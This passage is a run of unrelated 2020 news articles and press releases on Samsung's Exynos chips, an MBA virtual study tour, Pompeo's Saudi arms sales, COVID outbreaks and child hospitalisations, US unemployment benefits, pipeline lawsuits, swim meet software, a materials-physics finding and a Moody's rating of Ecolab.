elsewhere, is less powerful almost across the board. Although it does perform better in some areas. Even with Samsungs optimizations in place, thats unlikely to change. The same disparity existed for the Samsung Galaxy S20 series, launched earlier this year. Advertisement In that case, the disparity also resulted in overheating and poor battery life. And thats also without mention of outright bad autofocus performance as well as rather strange compatibility bugs. Some games, for instance, just didnt perform at the same level on European Samsung flagships as on the US variant. And, as a result, some buyers are paying a bit extra for what is arguably a lesser experience. But Exynos isnt necessarily a bad thing None of that, however, is to say that Samsungs chips are bad. They simply arent by any measure. And it makes sense for several reasons for Samsung to continue using both chips. Not least of all, its an in-house chip. That undoubtedly makes them a less pricey component for the company, especially in the over-performing mid-range. Advertisement Samsung is and will likely remain a major player in the mobile chip game as well as the memory market. Also, as already pointed out, Exynos chips arent overall a terrible bit of hardware. Perhaps as importantly, Samsung Exynos chips generally do not always underperform compared to Snapdragon outside of the flagship range. Instead, they offer up a viable alternative for Samsung to turn too. Regardless of the issues noted above, the chips stay well ahead of the mid-range chips. And they also help some of Samsungs less costly devices attain performance thats very close to the flagship level. Samsung wouldnt move quite so many smartphones if the Exynos chips were truly bad, despite that its Snapdragon variants are more popular. They still perform very much at the flagship level, a long throw away from Qualcomms second-most-powerful chips. But more than that, they dont always underperform and dont always ship with compatibility or other issues. Advertisement In at least a few cases, Exynos has also outperformed its Qualcomm-built counterpart. Back with the Samsung Galaxy S10 series, peak single-core performance from the Exynos 9820 blew that from the Snapdragon 855 out of the water. And it didnt lag too far behind Qualcomms chipsets when it came to multi-core performance either. Even with the newest chips, Samsungs chips do perform better on that front. And all of this is leaving aside that Qualcomm has had its own fair share of chipset issues too. Advertisement and Exynos might be necessary, especially for Samsung Generally speaking, in any free market, competition is not a bad thing. But, for Samsung and other mobile OEMs in the Android space, this isnt about straightforward competitions. The continued existence of Exynos across the full run of Samsung devices might actually warrant the use of the word necessary. When it comes to other market competitors, only MediaTek came close, at one point, to occupying nearly as many smartphones as Qualcomm and Samsung. The only other competition in the space, right now, would be Apple and Huaweis HiSilicon. And MediaTek is a company thats been primarily relegated to budget-friendly handsets and other electronics. In terms of market share, Samsung is the worlds leading smartphone manufacturer. So using its own chips does allow it to get those into a lot of users hands. But the company doesnt come close, in terms of market revenue share, to Qualcomm, HiSilicon, Apple, or others. At least not according to first-quarter 2020 details pooled by Statista. Advertisement Samsung registered in the charts in the first quarter of 2018 and into the second quarter of 2019. But it was quickly replaced by HiSilicon. The Huawei-owned chipmaker accounted for 20-percent of the market revenue in Q1 2020. Apple fell in behind that at 15-percent. Others accounted for a quarter of the market share. And Qualcomm took 40-percent. Huaweis HiSilicon, conversely, may not present any challenge for much longer, either. As has been widely reported, Huawei is facing existential challenges overall due to a barrage of unrelenting sanctions from the West. While other OEMs, such as Chinas OPPO, are beginning the long journey to releasing their own in-house chips, Samsung presently represents one of the few remaining competitors. Without muddying the waters with a discussion about who actually builds which chips, Exynos is effectively necessary. Especially as a prominent potential competitor to Qualcomm. As long as Samsung keeps making its own in-house chips, it can at any point pull the rug out from under Qualcomm. Or at least for a sizeable chunk of the market, if Qualcomm gets out of hand. Given Qualcomms recurrent appearances in court over its business practices, thats a good thing. Especially where those continue to crop up for everything from its licensing of standards-essential patents to antitrust. Not only do those cases appear in the US, either. Qualcomm has faced scrutiny worldwide for its practices. Heres what Samsung needs to do to fix its Exynos problem Now, arguments in favor of Samsung using Snapdragon across the board arent unwarranted, as noted above. But the solution should arguably be very different than the company simply caving in and using Snapdragon chips instead of Exynos in Samsung phones. The first, and probably the most viable option, would be to improve its own chips. Flagships with Exynos are still very powerful phones. But if theres anything thats been learned over the past several years, its that major OEM subsidiaries can compete at exactly the same level as Snapdragon without issues. In some cases, they can outperform Qualcomm. With proper acquisitions across a number of key areas, Samsung could feasibly compete more directly too. Another aspect thats worthy of consideration is pricing. Right now, Qualcomms chips despite being the most widely used by a huge margin are undeniably expensive. Qualcomms position in the overall smartphone ecosystem makes it difficult for Samsung to compete more directly. Especially in its own devices. But it may be able to compete by undercutting Qualcomm and ultimately making Exynos a more value-friendly offering. Conversely, it would arguably be better for Samsung to simply make phones using its Exynos chips less expensive. A lower price could potentially lead to better sales, offsetting some or all of the losses created by that lower price point. Finally, on the topic of losses, the company could also license out its chips to compete with Snapdragon outside of its own turf. That would serve to address both of the above-mentioned problems. On pricing, more chips created means a lower cost of production. On performance improvements, licensing would provide valuable feedback from outside sources, detailing exactly how the chips need to improve. Even with initial losses, Samsung would probably improve its situation immensely with time via any of those paths. And that could result in a more healthy overall ecosystem. One that doesnt put Qualcomm in a position of greater influence or reduce competition to a greater extent. In fact, reality may be quite the opposite of moving to Snapdragon alone. Samsung and the industry itself might benefit the most from a purely competitive standpoint, if nowhere else if it dropped Snapdragon entirely. ASHLAND, Ohio, Aug. 11, 2020 /PRNewswire/ -- Ashland University MBA Program announces the participation of virtual study tours in partnership with International Study Programs (ISP), being the first Ohio MBA Program to offer this opportunity. In these unprecedented times, Ashland University is adapting and innovating to continue to provide MBA students with world-class opportunities. Ashland University MBA will offer world-class virtual study tours to students. The virtual study tour provides students with a best-in-class consulting experience, engaging with a world-renowned organization. Students attend virtual meetings with key leaders and stakeholders of Fortune 500 companies to present new strategies and solutions based on today's challenges. Global experience is invaluable to the student learning of MBA students, offering alternative opportunities to international study tours is at the forefront of the Ashland University College of Business and Economics Dean, Dr. Elad Granot's mind. "Our MBA programs strive to provide the most valuable experiences available to our students. Due to the impact of COVID-19, we worked diligently to provide an alternative that would provide the same education and exposure as our world-class international study tours. We are proud to be the first University in Ohio to offer this solution and plan to continue to offer unique and experiential experiences to our students." This fall, Ashland MBA students will experience Prague. Seeing the country through the lens of guided tours and cultural excursions including: city-tours, local cultural immersion and a local cooking experience. Students will expand their professional network by consulting with Oracle to bridge the physical and digital world. ABOUT ASHLAND UNIVERSITY MBA PROGRAMS The Ashland University MBA Program has been fully accredited by the Accreditation Council for Business Schools and Programs (ACBSP) for more than 20 years. This distinction supports Ashland's commitment to a student-centered teaching and learning approach. For more information on the Ashland University MBA Programs, click here . MEDIA CONTACT For information on the tour, MBA programs, or those interested in applying, please contact Ron Mickler at (419) 289-5214 or [email protected]. For interview opportunities please contact Alyssa Galik at VividFront at (440) 429-5509 or [email protected]. Related Images prague-virtual-tour.jpg Prague Virtual Tour Ashland University MBA will offer world-class virtual study tours to students. Related Links Prague Virtual Tour Details Ashland University MBA Programs SOURCE Ashland University Related Links https://mba.ashland.edu WASHINGTON The State Departments internal watchdog has found that Secretary of State Mike Pompeo did not act improperly last year when he approved billions of dollars in arms sales to Saudi Arabia without the consent of Congress. The State Department Office of Inspector General concluded in a report released Tuesday that Pompeo had the legal authority to declare an emergency and bypass Congress under the Arms Export Control Act. Republicans joined with Democrats in Congress to oppose the sales, but President Donald Trump, who has made close relations to Saudi Arabia a priority, vetoed resolutions in July 2019 to block the transfers and there were not enough votes to override him. The inspector general report itself has become the focus of congressional scrutiny after former Inspector General Steve Linick, who was removed from his post in May by Trump, testified to Congress that senior State Department officials had sought to block his inquiry. Senior State Department officials have said Linick was removed from his watchdog position for leaking another report and not because of his probe of the arms sales, which came amid bipartisan congressional concerns about civilian casualties in the Saudi-led war in Yemen. At least one prominent congressional critic, New York Rep. Eliot Engel, cautioned before the report's release that it should be treated with skepticism. He noted that it features a classified annex that the public can't read and that the State Department official in charge of arms sales review has declined to answer questions from a committee investigating Linick's ouster. Engel, chair of the House Foreign Affairs Committee, dismissed the emergency certification used to authorize the sales as phony. The report examined the process that Pompeo used to make the emergency certification. Pompeo cited the threat posed by Iran and its support for rebels in Yemen to justify approving arms sales totaling $8.1 billion to Saudi Arabia, the United Arab Emirates and Jordan. The report concluded that the law grants the secretary the discretion to decide what constitutes an emergency, something three previous administrations have done with respect to arms sales to Saudi Arabia. It also noted that the State Department did not fully assess the risks of civilian casualties from the sale of certain types of weapons, and that it regularly approved arms transfers to Saudi Arabia and the UAE that fell below the reporting threshold to Congress. A senior State Department official, speaking to reporters Monday on condition of anonymity to preview the report, said there was disagreement on the threshold for reporting to Congress and that there was already an effort underway to try to reduce the potential for civilian casualties with American weapons provided to allies. The official said the big takeaway from the report is that Pompeo and the department acted in accordance with the law as it sought to aid the Saudi-led coalition in Yemen. The report notes that the grinding, five-year-old civil war in Yemen has led to what the United Nations has called the worlds worst humanitarian crisis. Worried: Marie Daly, CEO of the Daoine Oga creche, has spoken of her devastation following the outbreak of Covid-19 in the facility. PHOTO: SEAMUS FARRELLY Parents have criticised the slow pace of testing by the HSE after two workers and three children at a Meath creche contracted Covid-19. The children were confirmed to have tested positive on Sunday night and further tests are under way to determine the extent of the spread of the virus. It comes after two members of staff at the Daoine Oga Community Childcare Centre in Navan tested positive last week. A third room at the creche has now been closed, and all parents of children in the remaining open units have been informed of the situation. However, some pre-school children in another pod at the creche are still waiting for results, leading to concern among parents. Eddie Fennessy said he only got a test for his two-year-old son Ned, who has an underlying health issue, yesterday morning. "We were told immediately last week by the creche that a member of staff had tested positive for Covid-19 and that Ned's room would be closed for 14 days and that his details were given to contact tracing, who would be in touch with us," said Mr Fennessy, who is a local Sinn Fein councillor. "We have been self-isolating ever since. Last Friday, parents participated in a Zoom meeting with creche management, who reassured us that protocol was followed and they have done everything possible to keep us updated. "Other parents on this call also mentioned they still hadn't been contacted either (by the HSE). "Only on Sunday afternoon did I receive a text from the HSE and a test was arranged (for yesterday). "By the time Ned receives his results, almost seven days will have passed and he was in direct contact with one of the staff members who tested positive. "It's a very worrying time for myself and Ned's mother as he has an underlying condition and has attended Temple Street and Drogheda hospitals since birth." CEO of the creche Marie Daly confirmed yesterday that three siblings had tested positive for Covid-19. She added that all guidelines had been followed. "I have closed another room at the facility and the parents of children in all other rooms which remain open have been informed of developments," Ms Daly said. "We have followed all guidelines and advice given to us from all the relevant bodies. "Eleven children have been tested so far and three siblings have proved positive for Covid-19. None of them are showing any symptoms of the virus. The results of seven staff have been returned as negative and there are about seven children to be tested in the coming days." Children at the facility have been split into pods of up to eight, with two staff members in each, as part of Covid-19 response measures. Two rooms were closed immediately after one member of staff tested postive last week. An employee from another room, who was tested as a precaution, also tested positive. The second room had been closed due to fears associated with a staff member who had been 'floating' between two pods in the two rooms. The results were described by Ms Daly as 'extremely devastating' after 10,000 was invested in PPE and other measures at the facility. "We have done everything we can to try and stop this virus coming into this building and the worrying thing is that all the children who contracted the virus are asymptomatic," Ms Daly said. "Everyone is worried but the parents and pre-school inspectors have been extremely supportive to us. "We really are all in this together. We can't deal with this on our own. Everyone has to take responsibility for themselves and we all have to be open and honest about it." In response to queries, the HSE said it cannot comment on individual cases or outbreaks as to do so would breach their duty of confidentiality to the people concerned. It said that there was no delay in GP-referred cases for testing It added in a statement: "In general, when our Departments of Public Health respond to notified cases or outbreaks of Covid-19, they undertake a risk assessment of the situation and appropriate investigations are undertaken and control measures put in place." President Donald Trump talks to reporters while hosting (2nd L-R) Vice President Mike Pence, Treasury Secretary Steven Mnuchin, White House Chief of Staff Mark Meadows and Republican congressional leaders in the Oval Office at the White House on July 20, 2020. (Doug Mills-Pool/Getty Images) White House: $400 per Week Unemployment Benefits Starting in About 2 Weeks Treasury Secretary Steven Mnuchin said the $400 weekly unemployment benefit payment, authorized under President Donald Trumps recent executive action, will be distributed within several weeks. Trump on Saturday issued an executive order to continue the expanded federal payments, which include $300 in federal money and $100 in state money. On Monday, Mnuchin said in a late evening press conference that the payments could be expected within a week or two. A reporter was asking questions to him and President Trump in the briefing. Within the next week or two, most of the states will be able to execute, he said in full. And on Tuesday, White House adviser Larry Kudlow, who is in charge of the National Economic Council, told Fox News that the payments will be sent out in about two weeks. The federal unemployment payments of $600 per week were discontinued on July 31, while Congress has remained deadlocked in talks on a forthcoming measure. Top Democrats have said that they want to see those benefits continue until early next year, while Republican Senators sought to pay $200 per week. The baseline of unemployment from states is roughly $400 per person per week, thats the median. On top of that, the federal government is going to put in $300. We will work with [governors] if theres any complications, Kudlow said. Kudlow stipulated that other Democrat-proposed measures too high, adding that a third of it has nothing to do with COVID-19, referring to the House-passed HEROES Act. That needs to be stripped out. Thats Democratic left-wing wish list, take that out, chop their number down. Some governors this week said they are not receptive to the White Houses plan on unemployment. We started with a $30 billion hole, and your solution [will] cost me another $4 billion? Thank you, New York Gov. Andrew Cuomo (D) told a press conference. Thats handing the drowning man an anchor. Hold on to this. The White House has stated that states can submit an application to have the federal government cover the $100 per week payments. Ohio Gov. Mike DeWine (R), meanwhile, accepted Trumps executive order on Monday. DeWine told CNN that Ohio was looking at avenues of how to pay the extra $100. Were looking at it right now to see if we can do this, the governor said. According to the White House, the $400 benefit is slated to expire no later than December 2020 and will continue until the balance of the [Disaster Relief Fund (DRF)] reaches $25 billion or for weeks of unemployment ending not later than December 6, 2020, whichever occurs first, at which time the lost wages assistance program shall terminate. The benefits, additionally, will expire automatically upon enactment of legislation providing, due to the COVID-19 outbreak, supplemental Federal unemployment compensation, or similar compensation, for unemployed or underemployed individuals, said the White House. Early in the pandemic, children were thought to be spared by the coronavirus disease (COVID-19), with a majority experiencing mild or no symptoms at all. The high-risk populations include the elderly, those with underlying health conditions such as diabetes, heart disease, and hypertension, and those who are immunocompromised. Now, new research has found that children are still at a high risk of developing severe COVID-19. The study shows that one-third of children hospitalized due to COVID-19 were admitted to intensive care units (ICU), a rate similar to adults. Image Credit: Cryptographer / Shutterstock The study The study, which was a collaborative effort by the American Academy of Pediatrics and the Childrens Hospital Association, analyzed data from 576 children below 18 years old from 14 states who were hospitalized for COVID-19 between March 1 and July 25. The report, which can be seen in the Morbidity and Mortality Weekly Report by the CDC, shows that the hospitalization rate for children was 8 per 100,000 compared to 164.5 per 100,000 for adults. The team also found that the rate of pediatric hospitalizations increased throughout the study period. In a nutshell, the rate was highest for children below the age of 2, at 25 per 100,000 children, compared to 4 per 100,000 for children between 2 and 4 years old, and six per 100,000 for children who are five years old to 18 years old. The team also said that the average hospital stay was 2.5 days, based on medical chart reviews for 208 patients. About 33 percent were admitted to the ICU, and 6 percent required invasive mechanical ventilation. In adults, 32 percent were admitted to the ICU, while 19 percent needed invasive mechanical ventilation. About 42 percent of the children who were hospitalized had an underlying medical condition, such as chronic lung disease of prematurity, and obesity. Cases of COVID-19 in children According to the report, the cumulative number of child COVID-19 cases in the United States was 380,174 confirmed cases, which accounts for 9.1 percent of all cases. Overall, the rate of confirmed cases was 501 cases per 100,000 children in the population. Between July 9 and August 6, the country has reported 179,990 new cases, which is a 90-percent increase in child cases in over four weeks. In terms of hospitalization, 0.3 to 8.9 percent of all cases of COVID-19 in children have resulted in hospitalization, and about 0 to 0.4 percent of all COVID-19 hospitalizations were children. An estimated 0 to 0.4 percent resulted in deaths were children. New cases in children In the United States, the report also shows that more than 97,000 children have tested positive for COVID-19 as more schools plan to reopen. Thousands of students will return to their classrooms this week, despite the alarming rise of cases in the country. The U.S. has now topped 5 million COVID-19 confirmed cases. In the last two weeks, the researchers found a 40 percent increase in child coronavirus cases in various states and cities. Meanwhile, New York Governor Andrew Cuomo announced that school districts in the state could resume face-to-face classes in the fall as the transmission rates have decreased. Some schools have already reopened in-person classes in some states in the South, including Georgia. It will be a little hard to sort out the degree to which a lot more kids are getting infected and the degree to which our testing capacity has gone up. What we can say is that its not particularly surprising given the large increase in cases weve seen nationally overall, Sean OLeary, a member of the American Academy of Pediatrics and professor of pediatric infectious diseases at the University of Colorado, said in a statement. In other countries, some schools are planning to reopen face-to-face classes, while some countries opted for online learning as a new modality to prevent the spread of the virus. So far, there are more than 19.94 million confirmed cases of COVID-19 across the globe, with more than 732,000 deaths. Apart from the U.S., other countries have reported a high number of cases, including Brazil, with more than 3 million cases, India with more than 2 million cases, and Russia, with more than 890,000 cases. The revelation that government officials had allowed 2,750 metric tons of ammonium nitrate to be stored for at least six years on the edge of a city home to more than 2 million people has enraged the Lebanese public, which was already reeling from the countrys rapid economic decline. The government resigned Monday following protests, with Lebanese taking to the streets again on Tuesday following a vigil for the one-week anniversary of the blast. NEW YORK and LONDON and OSLO, Norway, Aug. 11, 2020 /PRNewswire/ -- Confirmit has appointed Tobi Andersson to the new role of Chief Product Officer to lead Confirmit's product strategy and vision. The announcement follows the recent acquisition of Confirmit by Verdane, its merger with Dapresy and the appointment of Kyle Ferguson as CEO. Andersson, formerly CEO at Dapresy, will be responsible for the integration of the Confirmit Horizons and Dapresy platforms, working with customers, partners and the combined product development team around the world to create a single state-of-the-art platform. "Combining both solutions into one platform based on one clear vision will deliver an innovative roadmap that differentiates us from anything else in the market. Our approach will drive widespread disruption across an insights industry that to date has been fragmented, having evolved at different paces in different sectors," explains Andersson. "Organizations need technology that adapts to their business requirements and processes, not the other way around," he added. "Our aim is to support the insights industry as it embraces increasing automation, enabling insight professionals to benefit from the digital evolution of the industry as a whole." "Our focus will be on delivering the next generation of insight capabilities that will democratize data and make insights available to everyone. Our customers will be able to make better and faster decisions that deliver tangible business outcomes." Andersson has over 20 years' experience in the global Market Research industry, most recently as the former co-founder and CEO of Dapresy. Commenting on Andersson's appointment, Kyle Ferguson, CEO at Confirmit added: "With Tobi's passion for insight technology to guide us, there is no limit to our ability to help our customers simplify complex problems and ultimately become more successful. "He leads an ecosystem of experienced people and proven technology, supported by long-term investment from Verdane. This puts us in a unique position to understand and respond to what our customers need from an insights platform, now and in the future." About Confirmit Confirmit is the world's leading vendor for Market Research, Customer Experience, and Employee Engagement solutions. Confirmit platforms enable data collection, analysis, visualization and action management to empower businesses to make smarter decisions that drive business growth. Confirmit supports over 650 clients in more than 50 countries, including many of the world's leading brands. Confirmit has offices in Australia, Bosnia and Herzegovina, Canada, Germany, Norway, Russia, Sweden, the United Kingdom and the United States. Confirmit's software is also distributed through partner resellers in Madrid, Milan, and Tokyo. Visit www.confirmit.com for more information. Media Contact: Emma Gielata Matter Communications [email protected] SOURCE Confirmit Related Links http://www.confirmit.com GREAT FALLS, Montana The oil industry took more heat from the courts July 14 and 16, with filings unfavorable to the builders of both the Keystone XL Pipeline and the Dakota Access Pipeline -- projects that tribal governments oppose. On July 14, Bold Alliance announced it filed a new lawsuit here in Montana U.S. District Court to follow up on its recent victory at the U.S. Supreme Court blocking Keystone XL Pipeline construction through waterways as wrongfully permitted by the U.S. Army Corp of Engineers. In the new suit, Bold Alliance is joined by plaintiffs at the Center for Biological Diversity, Friends of the Earth, Natural Resources Defense Council, and the Sierra Club, charging U.S. Interior Secretary David Bernhardt for the Bureau of Land Managements unlawful grant of a right-of-way and temporary use permit for the proposed Keystone XL Pipeline project. The filing is the latest in a series of hurdles facing Keystone XL Pipelines parent TC Energy (formerly TransCanada). They include several other legal challenges, oil market chaos, and a recent commitment by presumptive Democratic candidate Joe Biden to rescind the pipelines permit should he be elected president. The Indigenous Environmental Network, Rosebud Sioux Tribe, and Assiniboine and Sioux Tribes of the Fort Peck Indian Reservation are leading pending challenges to Keystone XL in the same court. Construction of the polluting Keystone XL Pipeline would be devastating for the tribes, farmers and communities along its route, said Friends of the Earth Legal Director Marcie Keever. Those on the frontlines of dirty fossil fuel projects deserve a comprehensive environmental review to understand how those pipelines will impact their health and our environment, she said. The complaint alleges that the Bureau of Land Management permit for the tar-sands crude-oil conduit to cross approximately 44 miles of federal public lands in Montana suffered from faulty review by BLM and the U.S. Fish and Wildlife Service. Like every action from the Trump Administration, this is another attempt to ignore environmental and health concerns to curry favor with corporate polluters. Blocking this pipeline will help stop this administrations ongoing corruption, she said. An appeals court fined Energy Transfer Partners (now Energy Transfer LP), the company behind the controversial Dakota Access Pipeline (DAPL) in North Dakota, for building its Bayou Bridge Pipeline across private property before acquiring the legal rights to do so. Contact Talli Nauman at talli.nauman@gmail.com Copyright permission Native Sun News Today Join the Conversation Reinsurer AXIS Re announced the promotion of Dan Osterrieder to head of Casualty North America. Osterrieder will be responsible for general liability, auto, umbrella and excess, workers compensation, professional and management liability, among other areas. Osterrieder joined AXIS Re in March 2019 as a strategic account executive in North America. Prior to his work at AXIS Re, he held a number of underwriting and account manager roles at companies including American International Group, Willis Towers Watson and Swiss Re. He will continue to be based in AXIS Res New York region, and will report to Jason Busti, AXIS Re president for North America. Topics Casualty Traditional swim meets, which often comprise hundreds of swimmers on the pool deck at once, are unfortunately not possible in the current global environment. Swimmers and swim teams have been particularly hard-hit by the coronavirus, with training and competition venues closed, or access limited. As local municipalities have eased regulations and established safe guidelines for gatherings, swim teams have been eager to get back into the pool. Fortunately, the swim community has come up with creative solutions to allow their athletes to compete virtual swim meets. Swim teams have found virtual swim meets to be the safest solution for getting their swimmers racing again. Virtual meetswhere each team swims in their home poolallow swimmers to safely enjoy racing against another team while practicing physical distancing. SwimTopias Meet Maestro meet software offers swim teams an opportunity to run easy and fun virtual swim meets. Meet Maestro has been used by teams around the world to run hundreds of virtual swim meets this summer and thousands of meets since 2018. With Meet Maestro, teams swimming their meets at the same time can enjoy a true live meet experience, as the software combines results and tallies the scores for each individual or relay event as soon as the data from each pool is entered. Participants receive live meet updates with SwimTopias mobile app, creating an exciting virtual meet experience not possible with any other software. With limited options for practice and competition, 2020 has been a brutal year for swim teams. To help swim teams return safely to the water, SwimTopia is making Meet Maestro available free of charge through the end of 2020. Starting January 2021, the base price for Meet Maestro will be $150 per team, per year. Meet Maestro features a streamlined and modern user interface that saves time and all but eliminates the need for training. Born out of decades of experience and frustration working with existing meet management software, Meet Maestro was created first and foremost to be intuitive. The result is meet software that is both easy to learn and a joy to use. Swim teams who are accustomed to running meets on outdated and difficult meet software are stunned by the contrast after theyve tried Meet Maestro. We have been using Meet Maestro to run our summer swim meets and have found the system to be truly intuitive. Our volunteers just sit down and get right to work with minimal direction from me says Heather Urgon, meet coordinator for the Copperfield Dolphins in Houston. On July 27, swimmings national governing body, USA Swimming, launched a new initiative to support virtual swim meets. With this initiative, USA Swimming is encouraging teams to run virtual meets to promote a sense of healthy competition and keep swimmers motivated through these difficult times. Meet Maestros ease-of-use and affordability make it the perfect solution to quickly and easily set up a swim meet and capture times from any pool deck. About SwimTopia: Launched in 2011 with a focus on ease-of-use and exceptional support, SwimTopia offers team management and meet management solutions to swim teams all over the world. SwimTopia helps summer and high school swim teams save time and increase fundraising with a modern, cloud-based software platform providing web content management, electronic commerce, online registration, volunteer coordination, team communications, online swim meet entries, meet management with Meet Maestro, and more. Meet Maestro is SwimTopias online meet software that runs on any computer. Meet Maestros modern interface is intuitive and easy to learn, offering all types of swim teams the flexibility to run their meets how they want to. SwimTopia is the flagship product of Austin-based Team Topia Inc. Discovery of massless electrons in phase-change materials provides next step for future electronics Researchers have found electrons that behave as if they have no mass, called Dirac electrons, in a compound used in rewritable discs, such as CDs and DVDs. The discovery of "massless" electrons in this phase-change material could lead to faster electronic devices. The international team published their results on July 6 in ACS Nano, a journal of the American Chemical Society. The compound, GeSb2Te4, is a phase-change material, meaning its atomic structure shifts from amorphous to crystalline under heat. Each structure has individual properties and is reversible, making the compound an ideal material to use in electronic devices where information can be written and rewritten several times. "Phase-change materials have attracted a great deal of attention owing to the sharp contrast in optical and electrical properties between their two phases," said paper author Akio Kimura, professor in the Department of Physical Sciences in the Graduate School of Science and the Graduate School of Advanced Science and Engineering at Hiroshima University. "The electronic structure in the amorphous phase has already been addressed, but the experimental study of the electronic structure in the crystalline phase had not yet been investigated." The researchers found that the crystalline phase of GeSb2Te4 has Dirac electrons, meaning it behaves similarly to graphene, a conducting material that consists of a single layer of carbon atoms. They also found that the surface of the crystalline structure shares characteristics with a topological insulator, where the internal structure remains static while the surface conducts electrical activity. "The amorphous phase shows a semiconducting behavior with a large electrical resistivity while the crystalline phase behaves like a metallic with a much lower electrical resistivity," said Munisa Nurmamat, paper author and assistant professor in the Department of Physical Sciences in the Graduate School of Science and the Graduate School of Advanced Science and Engineering at Hiroshima University. "The crystalline phase of GeSb2Te4 can be viewed as a 3D analogue of graphene." Graphene is already considered by researchers to be a high-speed conducting material, according to Nurmamat and Kimura, but its inherently low on- and off-current ratio limits how it is applied in electronic devices. As a 3D version of graphene, GeSb2Te4 combines speed with flexibility to engineer the next generation of electrical switching devices. ### This work was supported by the Japan Society for the Promotion of Science, the Tomsk State University competitiveness improvement program, Saint Petersburg University, the Russian Science Foundation and the Ministry of Education and Science of the Russian Federation. Other contributors include Kazuaki Okamoto, Siyuan Zhu, Takeo Miyashita, Xiaoxiao Wang, Kazuki Sumida, all with the Department of Physical Sciences in the Graduate School of Science at Hiroshima University; Tatiana V. Menshchikova, Igor P. Rusinov and Vladislav O. Korostelev, all with Tomsk State University; Koji Miyamoto, Taichi Okuda, Eike F. Schwier and Keyna Shimada, all with the Hiroshima Synchrotron Radiation Center at Hiroshima University; Yukiaki Ishida and Shik Shin, both with the Institute for Solid State Physics at the University of Tokyo; Mao Ye of the State Key Laboratory of Functional Materials for Informatics at the Shanghai Institute of Microsystem and Information Technology of the Chinese Academy of Sciences; Ziya S. Aliev of the Azerbaijan State Oil and Industry University in Azerbaijan; Mahammad B. Babanly of the Institute of Physics Catalysis and Inorganic Chemistry in Azerbaijan; Imamaddin R. Amiraslanov of the Institute of Physics and Baku State University in Azerbaijan; Evgueni V. Chulkov of Donostia International Physics Center; Konstantin A Kokh of V.S. Sobolev Institute of Geology and Minerology, Siberian Branch, Russian Academy of Sciences; and Oleg E. Tereschenko of the A.V. Rzhanov Institute of Semiconductor Physics, Siberian Branch, Russian Academy of Sciences. Since its foundation in 1949, Hiroshima University has striven to become one of the most prominent and comprehensive universities in Japan for the promotion and development of scholarship and education. Consisting of 12 schools for undergraduate level and 4 graduate schools, ranging from natural sciences to humanities and social sciences, the university has grown into one of the most distinguished comprehensive research universities in Japan. English website: https:/ / www. hiroshima-u. ac. jp/ en This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Iraqi Prime Minister Urges Assyrians to Return to Iraq On Sunday, the Iraqi Prime Minister, Mustafa Al-Kazemi, called for the return of Iraqi Christian immigrants to their country, especially after the defeat of the Islamic State (ISIS/ISIL/IS/Daesh). Al-Kazemi received on Sunday, Patriarch Saint Louis Raphael I Sako, the Chaldean Catholic Patriarch, and a number of bishops in Baghdad. Al-Kazemi said, according to a government statement, that "Iraq is the country for everyone, and that Christians are the original children of the country, and there is no difference between the people of the same country, as everyone is a partner in building the future of Iraq." He added, "We are serious about providing assistance to our Christian families and solving their problems. We are glad that Christians will return to Iraq and contribute to its reconstruction. Iraqis of all sects are yearning for a new Iraq that believes in peace and rejects violence." For his part, Patriarch Sako expressed his hope that the "approach of Al-Kazimi" would continue to meet the aspirations of the people and enable it to address many of the challenges facing the country. He continued, "The Church supports Al-Kazemi's steps towards achieving security and stability throughout Iraq." Patriarch Sako pointed out that "Christians are proud of their Iraqi identity, and they feel more reassured, in light of the serious handling of the Al-Kazemi government with the Christian file," adding that there are "a large number of them wanting to return to Iraq. " BAKU, Azerbaijan, Aug.11 By Elchin Mehdiyev - Trend: Azerbaijan and Serbia express mutual support for each other's territorial integrity, stated Deputy Prime Minister, Minister of the Interior and Secretary of the National Security Council of Serbia Nebojsa Stefanovic, who is on a visit to Azerbaijan, said. Stefanovic made the statement at a press conference following the meeting with Azerbaijani officials, Trend reports on August 11. During the meeting, the parties stressed importance of the peaceful settlement of all conflicts on the basis of the UN principles, Serbian deputy PM said. I believe that this is in the interests of both sides, and it is also important for the future of the countries facing conflicts, he added. Rating Action: Moody's assigns Baa1 ratings to Ecolab's new senior notes; outlook remains positive Global Credit Research - 10 Aug 2020 New York, August 10, 2020 -- Moody's Investors Service, ("Moody's") assigned Baa1 to approximately $1.1 billion in new debt issuance of Ecolab Inc. ("Ecolab"), consisting of 10 year and 30 year notes. Proceeds from the debt issuance, together with cash sourced from the separation of the Upstream Energy business earlier this year, are expected to be used to repay near term maturities of $1.02 billion due in 2021, private placement debt of $250 million due in 2023, and to pay a make whole premium of roughly $80 million. The outlook on Ecolab's ratings remains positive. "The refinancing represents prudent liability management, cleans up near and medium term maturities, and lowers the company's cost of debt capital," according to Joseph Princiotta, Moody's SVP and lead analyst for Ecolab, Inc. Assignments: ..Issuer: Ecolab Inc. ....Senior Unsecured Regular Bond/Debenture , Assigned Baa1 RATINGS RATIONALE In December of last year, Moody's affirmed the ratings on Ecolab Inc.'s senior unsecured notes at Baa1 but changed the outlook on the ratings to positive from stable. The change in outlook reflects Ecolab's strong track record of growing and improving the portfolio through organic growth as well as M&A activity, while maintaining a strong balance sheet with only occasional deviations from the company's net leverage targets. The positive outlook also reflects good scale and end market diversity, strong and consistent free cash flow and relatively strong and stable EBITDA margins. The outlook remains positive despite the impact of COVID 19, particularly the impact on the Institutional Segment, as Moody's believes the fundamentals and longer-term outlook could still support an argument for a higher rating, although the timeline for considering an upgrade is likely to be extended due to COVID-19. The diversity and resilience in the portfolio were evident in the very difficult second quarter, with cash flow and the cash build helping to sustain net debt/ EBITDA leverage (unadjusted) at 2.2x at June 30, 2020 on an LTM basis. Severe conditions in the Lodging and Dining businesses within the Institutional segment were partially offset by improved growth in the Specialty, Healthcare and Life science businesses. On a Moody's gross adjusted basis, leverage as of June 30, 2020 was in the mid-2x range. Story continues Moody's notes that recovery in the institutional segment improved sequentially on a monthly basis through the second quarter, with further improvement in the second half expected. However, any improvement in the Institutional segment, which accounted for about a quarter of the portfolio on a pre-COVID basis, is expected to be slow and of uncertain shape, at least until fears of the virus subside. Moody's expects that a more robust recovery in Lodging and Dining is probably not likely until well into 2021 or later. Ecolab's strong credit profile is supported by its leading market positions in the commercial cleaning and sanitation market, strong competitive positions in water treatment and process chemicals for industrial and institutional applications. Key business sectors, such as water treatment, institutional services and food and beverage enjoy significant barriers to entry; including on-site technical service requirements, patents and long-term customer relationships. Ecolab enjoys geographic, customer and end-market diversity, good long-term growth prospects, high profit margins, relatively steady EBITDA and strong free cash flow generation. The strong credit profile is tempered by event risk associated with the company's ongoing M&A activity that occasionally stresses the balance sheet. In addition, 